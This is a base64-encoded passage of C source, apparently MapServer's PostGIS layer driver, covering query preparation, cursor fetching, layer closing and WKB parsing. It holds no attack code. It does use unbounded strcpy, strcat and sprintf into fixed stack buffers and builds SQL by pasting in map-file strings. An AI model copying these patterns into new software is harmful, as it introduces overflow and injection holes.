ICAJZm9yKGk9MDtpPGxheWVyLT5udW1pdGVtcztpKyspCiAJewoJCWl0ZW1pbmRleGVzW2ldID0g
aTsgLy9sYXN0IG9uZSBpcyBhbHdheXMgdGhlIGdlb21ldHJ5IG9uZSAtIHRoZSByZXN0IGFyZSBu
b24tZ2VvbQoJfQoKIAlyZXR1cm4oTVNfU1VDQ0VTUyk7Cn0KCgovL1NpbmNlIHdlIG5vdyBoYXZl
IFBvc3RHSVNUIDAuNSwgYW5kIDAuNiAgY2FsbGluZyBjb252ZW50aW9ucywKLy8gd2UgaGF2ZSB0
byBhdHRlbXB0IHRvIGhhbmRsZSB0aGUgZGF0YWJhc2UgaW4gc2V2ZXJhbCB3YXlzLiAgSWYgd2Ug
ZG8gdGhlIHdyb25nCi8vIHRoaW5nLCB0aGVuIGl0J2xsIHRocm93IGFuIGVycm9yIGFuZCB3ZSBj
YW4gcm9sbGJhY2sgYW5kIHRyeSBhZ2Fpbi4KLy8KLy8gMi4gYXR0ZW1wdCB0byBkbyAwLjYgY2Fs
bGluZyBjb252ZW50aW9uIChzcGF0aWFsIHJlZiBzeXN0ZW0gbmVlZGVkKQovLyAzLiBhdHRlbXB0
IHRvIGRvIDAuNSBjYWxsaW5nIGNvbnZlbnRpb24gKG5vIHNwYXRpYWwgcmVmIHN5c3RlbSkKCi8v
IFRoZSBkaWZmZXJlbmNlIGJldHdlZW4gMC41IGFuZCAwLjYgaXMgdGhhdCB0aGUgYm91bmRpbmcg
Ym94IG11c3QgYmUKLy8gZGVjbGFyZWQgdG8gYmUgaW4gdGhlIHNhbWUgdGhlIHNhbWUgc3BhdGlh
bCByZWZlcmVuY2Ugc3lzdGVtIGFzIHRoZQovLyBnZW9tZXRyeSBjb2x1bW4uICBGb3IgMC42LCB3
ZSBkZXRlcm1pbmUgdGhlIFNSSUQgb2YgdGhlIGNvbHVtbiBhbmQgdGhlbgovLyB0YWcgdGhlIGJv
dW5kaW5nIGJveCBhcyB0aGUgc2FtZSBTUklELgoKaW50IHByZXBfREIoY2hhcgkqZ2VvbV90YWJs
ZSxjaGFyICAqZ2VvbV9jb2x1bW4sbGF5ZXJPYmogKmxheWVyLCBQR3Jlc3VsdCAqKnNxbF9yZXN1
bHRzLHJlY3RPYmogcmVjdCxjaGFyICpxdWVyeV9zdHJpbmcsIGNoYXIgKnVyaWRfbmFtZSwgY2hh
ciAqdXNlcl9zcmlkKQp7CglQR3Jlc3VsdAkqcmVzdWx0OwoJY2hhcgljb2x1bW5zX3dhbnRlZFs1
MDAwXTsKCWNoYXIJdGVtcFs1MDAwXTsKCWNoYXIJdG1wWzUwMDBdOwoJY2hhcgl0bXAyWzUwMDBd
OwoJY2hhcglxdWVyeV9zdHJpbmdfMF82WzYwMDBdOwoJaW50CXQ7CgljaGFyCWJveDNkWzIwMF07
Cgltc1BPU1RHSVNMYXllckluZm8gKmxheWVyaW5mbzsKCWNoYXIgKnBvc19mcm9tLCAqcG9zX2Z0
YWIsICpwb3Nfc3BhY2UsICpwb3NfcGFyZW47CgljaGFyIGZfdGFibGVfbmFtZVs1MDAwXTsKCgls
YXllcmluZm8gPSAgZ2V0UG9zdEdJU0xheWVySW5mbyhsYXllcik7CgoJLyogU2V0IHRoZSB1cmlk
IG5hbWUgKi8KCWxheWVyaW5mby0+dXJpZF9uYW1lID0gdXJpZF9uYW1lOwoKCS8qIEV4dHJhY3Qg
dGhlIHByb3BlciBmX3RhYmxlX25hbWUgZnJvbSB0aGUgZ2VvbV90YWJsZSBzdHJpbmcuCgkgKiBX
ZSBhcmUgZXhwZWN0aW5nIHRoZSBnZW9tX3RhYmxlIHRvIGJlIGVpdGhlciBhIHNpbmdsZSB3b3Jk
CgkgKiBvciBhIHN1Yi1zZWxlY3QgY2xhdXNlIHRoYXQgcG9zc2libHkgaW5jbHVkZXMgYSBqb2lu
IC0tCgkgKgoJICogKHNlbGVjdCBjb2x1bW5bLGNvbHVtblssLi4uXV0gZnJvbSBmdGFiWyBuYXR1
cmFsIGpvaW4gdGFibGUyXSkgYXMgZm9vCgkgKgoJICogV2UgYXJlIGV4cGVjdGluZyB3aGl0ZXNw
YWNlIG9yIGEgJyknIGFmdGVyIHRoZSBmdGFiIG5hbWUuCgkgKgoJICovCgoJcG9zX2Zyb20gPSBz
dHJzdHIoZ2VvbV90YWJsZSwgIiBmcm9tICIpOwoJaWYgKHBvc19mcm9tID09TlVMTCkKCQlwb3Nf
ZnJvbSA9IHN0cnN0cihnZW9tX3RhYmxlLCAiIEZST00gIik7IC8vdHJ5IHVwcGVyY2FzZQoKCWlm
IChwb3NfZnJvbSA9PSBOVUxMKSB7CgkJc3RyY3B5KGZfdGFibGVfbmFtZSwgZ2VvbV90YWJsZSk7
Cgl9CgllbHNlIHsgLy8gZ2VvbV90YWJsZSBpcyBhIHN1Yi1zZWxlY3QgY2xhdXNlCgkJcG9zX2Z0
YWIgPSBwb3NfZnJvbSArIDY7IC8vIFRoaXMgc2hvdWxkIGJlIHRoZSBzdGFydCBvZiB0aGUgZnRh
YiBuYW1lCgkJcG9zX3NwYWNlID0gc3Ryc3RyKHBvc19mdGFiLCAiICIpOyAvLyBGaXJzdCBzcGFj
ZQoJCS8vcG9zX3BhcmVuID0gc3Ryc3RyKHBvc19mdGFiLCAiKSIpOyAvLyBDbG9zaW5nIHBhcmVu
IG9mIGNsYXVzZQoKCgkJI2lmIGRlZmluZWQoX1dJTjMyKSAmJiAhZGVmaW5lZChfX0NZR1dJTl9f
KQogICAgICAgICAgICAgICAgcG9zX3BhcmVuID0gc3RycmNocihwb3NfZnRhYiwnKScpOwoJCSNl
bHNlCgkJCQlwb3NfcGFyZW4gPSByaW5kZXgocG9zX2Z0YWIsJyknKTsKCQkjZW5kaWYgCgoKCQlp
ZiAoICAocG9zX3NwYWNlID09TlVMTCkgIHx8IChwb3NfcGFyZW4gPT1OVUxMKSApIHsKCgkJCSAg
ICAgICAgICAgIG1zU2V0RXJyb3IoTVNfUVVFUllFUlIsCgkJCQkJCQkJREFUQUVSUk9STUVTU0FH
RShnZW9tX3RhYmxlLCJFcnJvciBwYXJzaW5nIFBPU1RHSVMgZGF0YSB2YXJpYWJsZTogU29tZXRo
aW5nIGlzIHdyb25nIHdpdGggeW91ciBzdWJzZWxlY3Qgc3RhdGVtZW50Ljxicj48YnI+XG5cbk1v
cmUgSGVscDo8YnI+PGJyPlxuXG4iKSwKCQkJCQkicHJlcF9EQigpIik7CgoJCQlyZXR1cm4oTVNf
RkFJTFVSRSk7CgkJfQoJCWlmIChwb3NfcGFyZW4gPCBwb3Nfc3BhY2UpIHsgLy8gY2xvc2luZyBw
YXJlbnRoZXNpcyBwcmVjZWVkcyBhbnkgc3BhY2UKCQkJc3RybmNweShmX3RhYmxlX25hbWUsIHBv
c19mdGFiLCBwb3NfcGFyZW4gLSBwb3NfZnRhYik7CgkJCWZfdGFibGVfbmFtZVtwb3NfcGFyZW4g
LSBwb3NfZnRhYl0gPSAnXDAnOwoJCX0KCQllbHNlIHsKCQkJc3RybmNweShmX3RhYmxlX25hbWUs
IHBvc19mdGFiLCBwb3Nfc3BhY2UgLSBwb3NfZnRhYik7CgkJCWZfdGFibGVfbmFtZVtwb3Nfc3Bh
Y2UgLSBwb3NfZnRhYl0gPSAnXDAnOwoJCX0KCX0KCglpZiAobGF5ZXItPm51bWl0ZW1zID09MCkK
CXsKCQlpZiAoZ0JZVEVfT1JERVIgPT0gTElUVExFX0VORElBTikKCQkJc3ByaW50Zihjb2x1bW5z
X3dhbnRlZCwiYXNiaW5hcnkoZm9yY2VfY29sbGVjdGlvbihmb3JjZV8yZCglcykpLCdORFInKSwl
czo6dGV4dCIsIGdlb21fY29sdW1uLCB1cmlkX25hbWUpOwoJCWVsc2UKCQkJc3ByaW50Zihjb2x1
bW5zX3dhbnRlZCwiYXNiaW5hcnkoZm9yY2VfY29sbGVjdGlvbihmb3JjZV8yZCglcykpLCdYRFIn
KSwlczo6dGV4dCIsIGdlb21fY29sdW1uLCB1cmlkX25hbWUpOwoJfQoJZWxzZQoJewoJCWNvbHVt
bnNfd2FudGVkWzBdID0gMDsgLy9sZW49MAoJCWZvciAodD0wO3Q8bGF5ZXItPm51bWl0ZW1zOyB0
KyspCgkJewoJCQlzcHJpbnRmKHRlbXAsIiVzOjp0ZXh0LCIsbGF5ZXItPml0ZW1zW3RdKTsKCQkJ
c3RyY2F0KGNvbHVtbnNfd2FudGVkLHRlbXApOwoJCX0KCQlpZiAoZ0JZVEVfT1JERVIgPT0gTElU
VExFX0VORElBTikKCQkJc3ByaW50Zih0ZW1wLCJhc2JpbmFyeShmb3JjZV9jb2xsZWN0aW9uKGZv
cmNlXzJkKCVzKSksJ05EUicpLCVzOjp0ZXh0IiwgZ2VvbV9jb2x1bW4sIHVyaWRfbmFtZSk7CgkJ
ZWxzZQoJCQlzcHJpbnRmKHRlbXAsImFzYmluYXJ5KGZvcmNlX2NvbGxlY3Rpb24oZm9yY2VfMmQo
JXMpKSwnWERSJyksJXM6OnRleHQiLCBnZW9tX2NvbHVtbiwgdXJpZF9uYW1lKTsKCgkJc3RyY2F0
KGNvbHVtbnNfd2FudGVkLHRlbXApOwoJfQoKCXNwcmludGYoYm94M2QsIidCT1gzRCglLjE1ZyAl
LjE1ZywlLjE1ZyAlLjE1ZyknOjpCT1gzRCIscmVjdC5taW54LCByZWN0Lm1pbnksIHJlY3QubWF4
eCwgcmVjdC5tYXh5KTsKCgoJLy8gc3Vic3RpdHV0ZSB0b2tlbiAnIUJPWCEnIGluIGdlb21fdGFi
bGUgd2l0aCB0aGUgYm94M2QgLSBkbyBhdCBtb3N0IDEgc3Vic3RpdHV0aW9uCgoJCWlmIChzdHJz
dHIoZ2VvbV90YWJsZSwiIUJPWCEiKSkKCQl7CgkJCQkvLyBuZWVkIHRvIGRvIGEgc3Vic3RpdGlv
bgoJCQkJY2hhcgkqc3RhcnQsICplbmQ7CgkJCQljaGFyCSpyZXN1bHQ7CgoJCQkJcmVzdWx0ID0g
bWFsbG9jKDcwMDApOwoKCQkJCXN0YXJ0ID0gc3Ryc3RyKGdlb21fdGFibGUsIiFCT1ghIik7CgkJ
CQllbmQgPSBzdGFydCs1OwoKCQkJCXN0YXJ0WzBdID0wOwoJCQkJcmVzdWx0WzBdPTA7CgkJCQlz
dHJjYXQocmVzdWx0LGdlb21fdGFibGUpOwoJCQkJc3RyY2F0KHJlc3VsdCxib3gzZCk7CgkJCQlz
dHJjYXQocmVzdWx0LGVuZCk7CgkJCQlnZW9tX3RhYmxlPSByZXN1bHQ7CgkJfQoKCglpZiAobGF5
ZXItPmZpbHRlci5zdHJpbmcgPT0gTlVMTCkKCXsKCQlpZiAoc3RybGVuKHVzZXJfc3JpZCkgPT0g
MCkKCQl7CgkJCXNwcmludGYocXVlcnlfc3RyaW5nXzBfNiwiREVDTEFSRSBteWN1cnNvciBCSU5B
UlkgQ1VSU09SIEZPUiBTRUxFQ1QgJXMgZnJvbSAlcyBXSEVSRSAlcyAmJiBzZXRTUklEKCVzLCBm
aW5kX3NyaWQoJycsJyVzJywnJXMnKSApIiwKCQkJCQkJY29sdW1uc193YW50ZWQsZ2VvbV90YWJs
ZSxnZW9tX2NvbHVtbixib3gzZCxyZW1vdmVXaGl0ZShmX3RhYmxlX25hbWUpLHJlbW92ZVdoaXRl
KGdlb21fY29sdW1uKSk7CgkJfQoJCWVsc2UJLy91c2UgdGhlIHVzZXIgc3BlY2lmaWVkIHZlcnNp
b24KCQl7CgkJCXNwcmludGYocXVlcnlfc3RyaW5nXzBfNiwiREVDTEFSRSBteWN1cnNvciBCSU5B
UlkgQ1VSU09SIEZPUiBTRUxFQ1QgJXMgZnJvbSAlcyBXSEVSRSAlcyAmJiBzZXRTUklEKCVzLCAl
cyApIiwKCQkJCQkJY29sdW1uc193YW50ZWQsZ2VvbV90YWJsZSxnZW9tX2NvbHVtbixib3gzZCx1
c2VyX3NyaWQpOwoJCX0KCX0KCWVsc2UKCXsKCQlpZiAoc3RybGVuKHVzZXJfc3JpZCkgPT0gMCkK
CQl7CgkJCXNwcmludGYocXVlcnlfc3RyaW5nXzBfNiwiREVDTEFSRSBteWN1cnNvciBCSU5BUlkg
Q1VSU09SIEZPUiBTRUxFQ1QgJXMgZnJvbSAlcyBXSEVSRSAoJXMpIGFuZCAoJXMgJiYgc2V0U1JJ
RCggJXMsZmluZF9zcmlkKCcnLCclcycsJyVzJykgKSkiLAoJCQkJCQljb2x1bW5zX3dhbnRlZCxn
ZW9tX3RhYmxlLGxheWVyLT5maWx0ZXIuc3RyaW5nLGdlb21fY29sdW1uLGJveDNkLHJlbW92ZVdo
aXRlKGZfdGFibGVfbmFtZSkscmVtb3ZlV2hpdGUoZ2VvbV9jb2x1bW4pKTsKCQl9CgkJZWxzZQoJ
CXsKCQkJc3ByaW50ZihxdWVyeV9zdHJpbmdfMF82LCJERUNMQVJFIG15Y3Vyc29yIEJJTkFSWSBD
VVJTT1IgRk9SIFNFTEVDVCAlcyBmcm9tICVzIFdIRVJFICglcykgYW5kICglcyAmJiBzZXRTUklE
KCAlcywlcykgKSIsCgkJCQkJCWNvbHVtbnNfd2FudGVkLGdlb21fdGFibGUsbGF5ZXItPmZpbHRl
ci5zdHJpbmcsZ2VvbV9jb2x1bW4sYm94M2QsdXNlcl9zcmlkKTsKCgkJfQoJfQoKCgoJLy9zdGFy
dCB0cmFuc2FjdGlvbiByZXF1aXJlZCBieSBjdXJzb3IKCiAgICByZXN1bHQgPSBQUWV4ZWMobGF5
ZXJpbmZvLT5jb25uLCAiQkVHSU4iKTsKICAgIGlmICghKHJlc3VsdCkgfHwgUFFyZXN1bHRTdGF0
dXMocmVzdWx0KSAhPSBQR1JFU19DT01NQU5EX09LKQogICAgewoJICAgICAgbXNTZXRFcnJvcihN
U19RVUVSWUVSUiwgIkVycm9yIGV4ZWN1dGluZyBQT1NUR0lTICBCRUdJTiAgIHN0YXRlbWVudC4i
LAogICAgICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllcldoaWNoU2hhcGVzKCkiKTsKCiAgICAg
ICAgCVBRY2xlYXIocmVzdWx0KTsKCSAgCWxheWVyaW5mby0+cXVlcnlfcmVzdWx0ID0gTlVMTDsK
CQlyZXR1cm4oTVNfRkFJTFVSRSk7CQkvLyB0b3RhbGx5IHNjcmV3ZWQKICAgIH0KCgogICAgUFFj
bGVhcihyZXN1bHQpOwoKCS8vc2V0IGVuYWJsZV9zZXFzY2FuPW9mZiBub3QgcmVxdWlyZWQgKGFs
cmVhZHkgZG9uZSkKCi8vZnByaW50ZiAoc3RkZXJyLCJxdWVyeV9zdHJpbmdfMF82OiVzXG4iLHF1
ZXJ5X3N0cmluZ18wXzYpOwogICAgcmVzdWx0ID0gUFFleGVjKGxheWVyaW5mby0+Y29ubiwgcXVl
cnlfc3RyaW5nXzBfNiApOwoKICAgIGlmICggKHJlc3VsdCE9TlVMTCkgJiYgKFBRcmVzdWx0U3Rh
dHVzKHJlc3VsdCkgPT0gUEdSRVNfQ09NTUFORF9PSykgKQogICAgewoJICAgCS8vUFFjbGVhcihy
ZXN1bHQpOwoJCSpzcWxfcmVzdWx0cyA9IHJlc3VsdDsKCQlzdHJjcHkocXVlcnlfc3RyaW5nLCBx
dWVyeV9zdHJpbmdfMF82ICk7CiAJCXJldHVybiAoTVNfU1VDQ0VTUyk7CiAgICB9CgoJLy9va2F5
LCB0aGF0IGNvbW1hbmQgZGlkbnQgd29yay4gIEl0cyBwcm9iYWJseSBhIDAuNSBkYXRhYmFzZQoJ
Ly8gV2UgaGF2ZSB0byBldmVyeXRoaW5nIGFnYWluLCBhZnRlciBwZXJmb3JtaW5nIGEgcm9sbGJh
Y2suCgoJIFBRY2xlYXIocmVzdWx0KTsKICAgICAgIHJlc3VsdCA9IFBRZXhlYyhsYXllcmluZm8t
PmNvbm4sICJyb2xsYmFjayIgKTsKCSBQUWNsZWFyKHJlc3VsdCk7CgkgcmVzdWx0ID0gUFFleGVj
KGxheWVyaW5mby0+Y29ubiwgImJlZ2luIiApOwoKICAgIGlmICghKHJlc3VsdCkgfHwgUFFyZXN1
bHRTdGF0dXMocmVzdWx0KSAhPSBQR1JFU19DT01NQU5EX09LKQogICAgewoJICAgICAgbXNTZXRF
cnJvcihNU19RVUVSWUVSUiwgIkNvdWxkbnQgcmVjb3ZlciBmcm9tIGEgYmFkIHF1ZXJ5OiBcbicl
cydcbiIsCiAgICAgICAgICAgICAgICAgInByZXBfREIoKSIscXVlcnlfc3RyaW5nXzBfNik7CiAg
ICAgICAgCVBRY2xlYXIocmVzdWx0KTsKCSAgCWxheWVyaW5mby0+cXVlcnlfcmVzdWx0ID0gTlVM
TDsKCQlyZXR1cm4oTVNfRkFJTFVSRSk7CQkvLyB0b3RhbGx5IHNjcmV3ZWQKICAgIH0KCiAgICBQ
UWNsZWFyKHJlc3VsdCk7CgovL2ZwcmludGYgKHN0ZGVyciwicHJlcF9EQjpxdWVyeV9zdHJpbmdf
MF81OiVzXG4iLHF1ZXJ5X3N0cmluZ18wXzUpOwoKCiAKCQlzcHJpbnRmKHRtcDIsICJFcnJvciBl
eGVjdXRpbmcgUE9TVEdJUyAgREVDTEFSRSAodGhlIGFjdHVhbCBxdWVyeSkgc3RhdGVtZW50OiAn
JXMnIDxicj48YnI+XG5cblBvc3RncmVzcWwgcmVwb3J0cyB0aGUgZXJyb3IgJyVzJzxicj48YnI+
XG5cbk1vcmUgSGVscDo8YnI+PGJyPlxuXG4iLAoJCQkJcXVlcnlfc3RyaW5nXzBfNiwKCQkJCQlQ
UWVycm9yTWVzc2FnZShsYXllcmluZm8tPmNvbm4pCgkJCSAJKTsKCgoJCXNwcmludGYodG1wLCAi
JXMlcyIsCgkJCQkJdG1wMiwKCQkJCQlEQVRBRVJST1JNRVNTQUdFKCImbHQ7Y2hlY2sgeW91ciAu
bWFwIGZpbGUmZ3Q7IiAsIiIpCgkJCSAJKTsKCgoKICAgICAgICBtc1NldEVycm9yKE1TX1FVRVJZ
RVJSLHRtcCwicHJlcF9EQigpIik7CgoKICAgICAgICBQUWNsZWFyKHJlc3VsdCk7CgkgIAlsYXll
cmluZm8tPnF1ZXJ5X3Jlc3VsdCA9IE5VTEw7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwkJLy8gdG90
YWxseSBzY3Jld2VkCgoKfQoKCi8vIGJ1aWxkIHRoZSBuZWNjZXNzYXJ5IFNRTAovLyBhbGxvY2F0
ZSBhIGN1cnNvciBmb3IgdGhlIFNRTCBxdWVyeQovLyBnZXQgcmVhZHkgdG8gcmVhZCBmcm9tIHRo
ZSBjdXJzb3IKLy8KLy8gRm9yIHF1ZXJpZXMsIHdlIG5lZWQgdG8gYWxzbyByZXRyZWl2ZSB0aGUg
T0lEIGZvciBlYWNoIG9mIHRoZSByb3dzCi8vIFNvIEdldFNoYXBlKCkgY2FuIHJhbmRvbWx5IGFj
Y2VzcyBhIHJvdy4KCmludCBtc1BPU1RHSVNMYXllcldoaWNoU2hhcGVzKGxheWVyT2JqICpsYXll
ciwgcmVjdE9iaiByZWN0KQp7CgljaGFyCSpxdWVyeV9zdHI7CgljaGFyCSp0YWJsZV9uYW1lOwoJ
Y2hhcgkqZ2VvbV9jb2x1bW5fbmFtZTsKCWNoYXIJKnVyaWRfbmFtZTsKCWNoYXIJKnVzZXJfc3Jp
ZDsKCW1zUE9TVEdJU0xheWVySW5mbwkqbGF5ZXJpbmZvOwoJaW50CXNldF91cF9yZXN1bHQ7CgoJ
dGFibGVfbmFtZSA9IG1hbGxvYyg1MDApOwoJZ2VvbV9jb2x1bW5fbmFtZSA9IG1hbGxvYyg1MDAp
OwoJdXJpZF9uYW1lID0gbWFsbG9jKDUwMCk7Cgl1c2VyX3NyaWQgPSBtYWxsb2MoNTAwKTsKCgoK
Ly9mcHJpbnRmKHN0ZGVyciwibXNQT1NUR0lTTGF5ZXJXaGljaFNoYXBlcyBjYWxsZWRcbiIpOwoK
CWxheWVyaW5mbyA9IGdldFBvc3RHSVNMYXllckluZm8oIGxheWVyKTsKCglpZiAobGF5ZXJpbmZv
ID09IE5VTEwpCgl7CgkJLy9sYXllciBub3Qgb3BlbmVkIHlldAoJCW1zU2V0RXJyb3IoTVNfUVVF
UllFUlIsICJtc1BPU1RHSVNMYXllcldoaWNoU2hhcGVzIGNhbGxlZCBvbiB1bm9wZW5lZCBsYXll
ciAobGF5ZXJpbmZvID0gTlVMTCkiLAogICAgICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllcldo
aWNoU2hhcGVzKCkiKTsKCQlyZXR1cm4oTVNfRkFJTFVSRSk7Cgl9CgogICAgICAgIGlmKCBsYXll
ci0+ZGF0YSA9PSBOVUxMICkKICAgICAgICB7CiAgICAgICAgICAgIG1zU2V0RXJyb3IoTVNfUVVF
UllFUlIsCiAgICAgICAgICAgICAgICAgICAgICAgIk1pc3NpbmcgREFUQSBjbGF1c2UgaW4gUG9z
dEdJUyBMYXllciBkZWZpbml0aW9uLiAgREFUQSBzdGF0ZW1lbnQgbXVzdCBjb250YWluICdnZW9t
ZXRyeV9jb2x1bW4gZnJvbSB0YWJsZV9uYW1lJyBvciAnZ2VvbWV0cnlfY29sdW1uIGZyb20gKHN1
Yi1xdWVyeSkgYXMgZm9vJy4iLAogICAgICAgICAgICAgICAgICAgICAgICJtc1BPU1RHSVNMYXll
cldoaWNoU2hhcGVzKCkiKTsKICAgICAgICAgICAgcmV0dXJuKE1TX0ZBSUxVUkUpOwogICAgICAg
IH0KCglxdWVyeV9zdHIgPSAoY2hhciAqKSBtYWxsb2MoNjAwMCk7IC8vc2hvdWxkIGJlIGJpZyBl
bm91Z2gKCW1lbXNldChxdWVyeV9zdHIsMCw2MDAwKTsJCS8vemVybyBpdCBvdXQKCgltc1BPU1RH
SVNMYXllclBhcnNlRGF0YShsYXllci0+ZGF0YSwgZ2VvbV9jb2x1bW5fbmFtZSwgdGFibGVfbmFt
ZSwgdXJpZF9uYW1lLHVzZXJfc3JpZCk7CgoJc2V0X3VwX3Jlc3VsdD0gcHJlcF9EQih0YWJsZV9u
YW1lLGdlb21fY29sdW1uX25hbWUsIGxheWVyLCAmKGxheWVyaW5mby0+cXVlcnlfcmVzdWx0KSwg
cmVjdCxxdWVyeV9zdHIsIHVyaWRfbmFtZSx1c2VyX3NyaWQpOwoKCWZyZWUodXNlcl9zcmlkKTsK
CWZyZWUoZ2VvbV9jb2x1bW5fbmFtZSk7CglmcmVlKHRhYmxlX25hbWUpOwoKCWlmIChzZXRfdXBf
cmVzdWx0ICE9IE1TX1NVQ0NFU1MpCgkJcmV0dXJuIHNldF91cF9yZXN1bHQ7IC8vcmVsYXkgZXJy
b3IKCWxheWVyaW5mby0+c3FsID0gcXVlcnlfc3RyOwoKCiAgICBsYXllcmluZm8tPnF1ZXJ5X3Jl
c3VsdCA9IFBRZXhlYyhsYXllcmluZm8tPmNvbm4sICJGRVRDSCBBTEwgaW4gbXljdXJzb3IiKTsK
ICAgIGlmICghKGxheWVyaW5mby0+cXVlcnlfcmVzdWx0KSB8fCBQUXJlc3VsdFN0YXR1cyhsYXll
cmluZm8tPnF1ZXJ5X3Jlc3VsdCkgIT0gIFBHUkVTX1RVUExFU19PSykKICAgIHsKCQljaGFyIHRt
cFs0MDAwXTsKCgkJc3ByaW50Zih0bXAsICJFcnJvciBleGVjdXRpbmcgUE9TVEdJUyAgU1FMICAg
c3RhdGVtZW50IChpbiBGRVRDSCBBTEwpOiAlc1xuLSVzXG4iLCBxdWVyeV9zdHIsUFFlcnJvck1l
c3NhZ2UobGF5ZXJpbmZvLT5jb25uKSApOwoKCiAgICAgICAgICBtc1NldEVycm9yKE1TX1FVRVJZ
RVJSLAoJCQkJIAlEQVRBRVJST1JNRVNTQUdFKCIiLHRtcCksCgkJCQkJIm1zUE9TVEdJU0xheWVy
V2hpY2hTaGFwZXMoKSIpOwoKCiAgICAgICAgCVBRY2xlYXIobGF5ZXJpbmZvLT5xdWVyeV9yZXN1
bHQpOwoJICAJbGF5ZXJpbmZvLT5xdWVyeV9yZXN1bHQgPSBOVUxMOwoJCXJldHVybihNU19GQUlM
VVJFKTsKICAgIH0KCglsYXllcmluZm8tPnJvd19udW0gPTA7CgoKICAgIHJldHVybihNU19TVUND
RVNTKTsKfQoKLy8gQ2xvc2UgdGhlIHBvc3RnaXMgcmVjb3JkIHNldCBhbmQgY29ubmVjdGlvbgpp
bnQgbXNQT1NUR0lTTGF5ZXJDbG9zZShsYXllck9iaiAqbGF5ZXIpCnsKCW1zUE9TVEdJU0xheWVy
SW5mbwkqbGF5ZXJpbmZvOwoKLy9mcHJpbnRmKHN0ZGVyciwibXNQT1NUR0lTTGF5ZXJDbG9zZSBj
YWxsZWRcbiIpOwoJbGF5ZXJpbmZvID0gZ2V0UG9zdEdJU0xheWVySW5mbyggbGF5ZXIpOwoKCglp
ZiAobGF5ZXJpbmZvICE9IE5VTEwpCgl7CiAgICAgICAgICAgIFBRY2xlYXIobGF5ZXJpbmZvLT5x
dWVyeV9yZXN1bHQpOwogICAgICAgICAgICBsYXllcmluZm8tPnF1ZXJ5X3Jlc3VsdCA9IE5VTEw7
CgogICAgICAgICAgICBQUWZpbmlzaChsYXllcmluZm8tPmNvbm4pOwogICAgICAgICAgICBsYXll
cmluZm8tPmNvbm4gPSBOVUxMOwoKICAgICAgICAgICAgaWYgKGxheWVyaW5mby0+dXJpZF9uYW1l
ICE9IE5VTEwpCiAgICAgICAgICAgICAgZnJlZShsYXllcmluZm8tPnVyaWRfbmFtZSApOwogICAg
ICAgICAgICBsYXllcmluZm8tPnVyaWRfbmFtZSA9IE5VTEw7CgogICAgICAgICAgICBpZiAobGF5
ZXJpbmZvLT5zcWwgIT0gTlVMTCkKICAgICAgICAgICAgICBmcmVlIChsYXllcmluZm8tPnNxbCk7
CiAgICAgICAgICAgIGxheWVyaW5mby0+c3FsID0gTlVMTDsKCiAgICAgICAgICAgIGZyZWUobGF5
ZXJpbmZvKTsKICAgICAgICAgICAgc2V0UG9zdEdJU0xheWVySW5mbyhsYXllciwgTlVMTCk7Cgl9
CgoJcmV0dXJuKE1TX1NVQ0NFU1MpOwp9CgovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioKLy8gd2tiIGlzIGFzc3VtZWQgdG8gYmUgMmQgKGZv
cmNlXzJkKQovLyBhbmQgd2tiIGlzIGEgR0VPTUVUUllDT0xMRUNUSU9OIChmb3JjZV9jb2xsZWN0
aW9uKQovLyBhbmQgd2tiIGlzIGluIHRoZSBlbmRpYW4gb2YgdGhpcyBjb21wdXRlciAoYXNiaW5h
cnkoLi4uLCdbWE5dRFInKSkKLy8gZWFjaCBvZiB0aGUgc3ViLWdlb20gaW5zaWRlIHRoZSBjb2xs
ZWN0aW9uIGFyZSBwb2ludCxsaW5lc3RyaW5nLCBvciBwb2x5Z29uCi8vCi8vIGFsc28sIGludCBp
cyAzMmJpdHMgbG9uZwovLyAgICAgICBkb3VibGUgaXMgNjRiaXRzIGxvbmcKLy8qKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgoKLy8gY29udmVy
dCB0aGUgd2tiIGludG8gcG9pbnRzCi8vCXBvaW50cyAtPiBwYXNzIHRocm91Z2gKLy8JbGluZXMt
PiAgIGNvbnN0aXR1ZW50IHBvaW50cwovLwlwb2x5cy0+ICAgdHJlYXQgcmluZyBsaWtlIGxpbmUg
YW5kIHB1bGwgb3V0IHRoZSBjb25zaXR1ZW50IHBvaW50cwoKaW50CWZvcmNlX3RvX3BvaW50cyhj
aGFyCSp3a2IsIHNoYXBlT2JqICpzaGFwZSkKewoJLy93ZSdyZSBnb2luZyB0byBtYWtlIGEgJ2xp
bmUnIGZvciBlYWNoIGVudGl0eSAocG9pbnQsIGxpbmUgb3IgcmluZykgaW4gdGhlIGdlb20gY29s
bGVjdGlvbgoKCWludCBvZmZzZXQgPTAscHRfb2Zmc2V0OwoJaW50IG5nZW9tcyA7CglpbnQJdCx1
LHY7CglpbnQJdHlwZSxucmluZ3MsbnBvaW50czsKCWxpbmVPYmoJbGluZT17MCxOVUxMfTsKCglz
aGFwZS0+dHlwZSA9IE1TX1NIQVBFX05VTEw7ICAvL25vdGhpbmcgaW4gaXQKCgltZW1jcHkoICZu
Z2VvbXMsICZ3a2JbNV0sIDQpOwoJb2Zmc2V0ID0gOTsgIC8vd2VyZSB0aGUgZmlyc3QgZ2VvbWV0
cnkgaXMKCWZvciAodD0wOyB0PG5nZW9tczsgdCsrKQoJewoJCW1lbWNweSggJnR5cGUsICZ3a2Jb
b2Zmc2V0KzFdLCA0KTsgIC8vIHR5cGUgb2YgdGhpcyBnZW9tZXRyeQoKCQlpZiAodHlwZSA9PTEp
CS8vUE9JTlQKCQl7CgkJCXNoYXBlLT50eXBlID0gTVNfU0hBUEVfUE9JTlQ7CgkJCWxpbmUubnVt
cG9pbnRzID0gMTsKCQkJbGluZS5wb2ludCA9IChwb2ludE9iaiAqKSBtYWxsb2MgKHNpemVvZihw
b2ludE9iaikpOwoKCQkJCW1lbWNweSggJmxpbmUucG9pbnRbMF0ueCAsICZ3a2Jbb2Zmc2V0KzUg
IF0sIDgpOwoJCQkJbWVtY3B5KCAmbGluZS5wb2ludFswXS55ICwgJndrYltvZmZzZXQrNSs4XSwg
OCk7CgkJCW9mZnNldCArPSA1KzE2OwoJCQltc0FkZExpbmUoc2hhcGUsJmxpbmUpOwoJCQlmcmVl
KGxpbmUucG9pbnQpOwoJCX0KCgkJaWYgKHR5cGUgPT0gMikgLy9saW5lc3RyaW5nCgkJewoJCQlz
